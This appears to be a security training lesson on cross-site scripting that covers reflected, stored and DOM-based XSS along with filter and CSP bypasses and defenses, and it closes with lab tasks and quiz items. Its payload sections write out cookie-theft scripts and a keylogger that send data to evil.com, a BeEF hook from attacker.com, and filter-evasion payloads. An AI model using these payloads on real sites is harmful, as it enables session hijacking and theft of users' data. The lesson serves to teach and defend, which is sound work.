XSS: Cross-Site Scripting In-Depth

Master all three types of XSS — reflected, stored, and DOM-based — including filter bypass, CSP bypass, advanced payloads for cookie theft and keylogging, and robust defenses.

Hard 75m 3 tasks

Learning Objectives

  • Exploit reflected, stored, and DOM-based XSS
  • Bypass common XSS filters: HTML encoding, keyword blacklists
  • Steal session cookies and implement a basic XSS keylogger
  • Understand and exploit CSP misconfigurations
  • Implement complete XSS defense: output encoding, CSP, trusted types

The Three Types of XSS

1. Reflected XSS

Payload in URL → reflected in response → executes in victim's browser:

URL: https://example.com/search?q=<script>alert(1)</script>
Response: <p>Results for: <script>alert(1)</script></p>

Attack flow:
1. Attacker crafts malicious URL
2. Sends to victim via phishing/email/social engineering
3. Victim clicks → browser executes script in example.com context
4. Script can read cookies, exfiltrate data, etc.

2. Stored (Persistent) XSS

Payload stored in database → served to every user:

// Comment field  attacker posts:
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

// Every user who views the comment executes it
// Attacker's server receives their session cookies

Most dangerous: affects ALL users, no need for individual phishing.

3. DOM-based XSS

Payload never touches the server — JavaScript reads URL/DOM and writes unsanitized:

<!-- Vulnerable JS -->
<script>
const name = new URLSearchParams(location.search).get("name");
document.getElementById("greeting").innerHTML = "Hello " + name;
</script>
URL: https://example.com/?name=<img src=x onerror=alert(1)>

The server serves the same HTML every time — XSS happens entirely in the browser.

XSS Payloads

Basic Tests

// Classic
<script>alert(1)</script>
<script>alert(document.cookie)</script>

// Event handlers (when <script> is filtered)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<a href="javascript:alert(1)">click</a>
<video><source onerror=alert(1)>

// URL-based
javascript:alert(1)   (in href attributes)

// Template literal (for WAFs that filter quotes)
<script>alert`1`</script>

Cookie Theft Payload

// Exfiltrate cookies to attacker server
<script>
document.location='https://evil.com/steal?c='+encodeURIComponent(document.cookie)
</script>

// Image-based exfil (no redirect, victim stays on page)
<script>
new Image().src='https://evil.com/c?'+encodeURIComponent(document.cookie)
</script>

// Fetch (async)
<script>
fetch('https://evil.com/c',{method:'POST',body:document.cookie})
</script>

XSS Keylogger

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://evil.com/key?k=' + encodeURIComponent(e.key),
          {mode: 'no-cors'})
})
</script>

BeEF (Browser Exploitation Framework)

// Hook victim browser to BeEF server
<script src="https://attacker.com:3000/hook.js"></script>

// BeEF provides:
// - Browser info, extensions, plugins
// - Cookie theft, keystroke logging
// - Social engineering dialogs
// - Network discovery from browser

XSS Filter Bypass

HTML Encoding Bypass

If filter converts < > to &lt; &gt;:
  Use event handlers in attributes that don't need < >:
  " onmouseover="alert(1)

  If inside an attribute value:
  "><script>alert(1)</script>       (break out of attribute)
  '/><script>alert(1)</script>      (break out of value)

Keyword Filter Bypass

// 'script' filtered:
<SCRIPT>alert(1)</SCRIPT>                   // case
<scr<script>ipt>alert(1)</scr</script>ipt>  // nested
<img src=x onerror=alert(1)>               // avoid 'script'

// 'alert' filtered:
<script>confirm(1)</script>
<script>prompt(1)</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

// 'onerror' filtered (use other events):
<body onpageshow=alert(1)>
<input autofocus onfocus=alert(1)>
<svg onload=alert(1)>

// Quotes filtered:
<script>alert(/XSS/)</script>
<script>alert`1`</script>

DOM XSS Sinks

The most dangerous JS functions (avoid passing untrusted data):

// HTML sinks
element.innerHTML = userInput;      // XSS if contains tags
element.outerHTML = userInput;
document.write(userInput);
document.writeln(userInput);

// URL sinks
location.href = userInput;          // XSS via javascript:
location.replace(userInput);

// Script sinks
eval(userInput);                    // RCE in browser context
setTimeout(userInput, 1000);
new Function(userInput)();

// Safe alternatives
element.textContent = userInput;    // safe — treats as text
element.setAttribute("data-x", u); // safe if not event attr

CSP Bypass Techniques

Unsafe Configurations

// 1. unsafe-inline present → inline scripts allowed → XSS works
Content-Security-Policy: script-src 'self' 'unsafe-inline'

// 2. CDN whitelisted with bypass gadgets
Content-Security-Policy: script-src 'self' https://cdn.example.com
// If cdn.example.com hosts Angular, React, etc.:
// <script src="https://cdn.example.com/angular.min.js"></script>
// <div ng-app ng-csr="constructor.constructor('alert(1)')()"></div>

// 3. data: URI whitelisted
Content-Security-Policy: script-src 'self' data:
// <script src="data:text/javascript,alert(1)"></script>

// 4. strict-dynamic with nonce bypass
// If attacker can control a script tag with a valid nonce:
<script nonce="VALID_NONCE" src="attacker.com/xss.js"></script>

XSS Defense

1. Output Encoding (Primary)

# Python/Django — auto-escaping in templates
{{ user_input }}               # SAFE — Django escapes < > " ' &
{{ user_input|safe }}          # DANGEROUS — disables escaping

# Flask — Jinja2 auto-escaping
{{ user_input }}               # SAFE
{{ user_input|safe }}          # DANGEROUS

# Explicit escaping when building HTML in Python
import html
safe = html.escape(user_input)  # escapes < > & " '

# JavaScript encoding for inline JS
import json
safe_js = json.dumps(user_input)  # properly escaped for JS context

2. DOMPurify (Client-Side Sanitization)

<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.6/purify.min.js"></script>
<script>
// Clean HTML before inserting into DOM
const clean = DOMPurify.sanitize(dirtyHTML, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
    ALLOWED_ATTR: ['href']
});
document.getElementById("content").innerHTML = clean;
</script>

3. Trusted Types (Modern Browser Defense)

// Requires browser support — blocks all dangerous DOM sinks by default
// Set via CSP:
Content-Security-Policy: require-trusted-types-for 'script'

// Then in JS — only TrustedHTML objects can be assigned to innerHTML:
const policy = trustedTypes.createPolicy('default', {
    createHTML: (input) => DOMPurify.sanitize(input)
});
element.innerHTML = policy.createHTML(userInput);  // sanitized
// element.innerHTML = userInput;  // TypeError — blocked!

4. HttpOnly Cookies

Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict

Even if XSS runs, document.cookie won't include HttpOnly cookies → limits session theft.

On DVWA or PortSwigger labs: (1) Reflected XSS: inject in search field, (2) Stored XSS: inject a cookie-stealing payload in a comment field — simulate the victim viewing it, (3) DOM XSS: find a page that reads the URL hash and writes to innerHTML — inject via URL fragment. Document request, payload, and impact for each.

✦ Answer the questions to complete this task

What makes stored XSS more dangerous than reflected XSS?

What is a DOM XSS sink?

A web app blocks: 'script', 'alert', '<', '>' — find 5 different XSS payloads that bypass these filters. Test each in a simulated filter (Python function that checks these strings). Then bypass a CSP with 'unsafe-inline' disabled by finding a JSONP endpoint or whitelisted CDN with Angular.

✦ Answer the questions to complete this task

What event handler can fire without user interaction in an img tag?

Harden a vulnerable comment system: (1) add output encoding with html.escape() for server-side rendering, (2) add DOMPurify for client-side rich text, (3) set HttpOnly+Secure cookies, (4) add CSP: default-src 'self'; script-src 'self' 'nonce-RANDOM', (5) add Trusted Types policy that routes all innerHTML through DOMPurify, (6) verify with 10 XSS payloads that all are blocked.

✦ Answer the questions to complete this task

What does DOMPurify.sanitize() do?

💪 Exercises & Challenges

📝 MCQ Medium +20 XP

XSS In-Depth MCQ

XSS In-Depth MCQ

Start →
⚙️ Practical Medium +30 XP

Build an XSS Worm

Build an XSS Worm

Start →
🚩 Challenge Hard +50 XP

CSP Bypass via JSONP

CSP Bypass via JSONP

Start →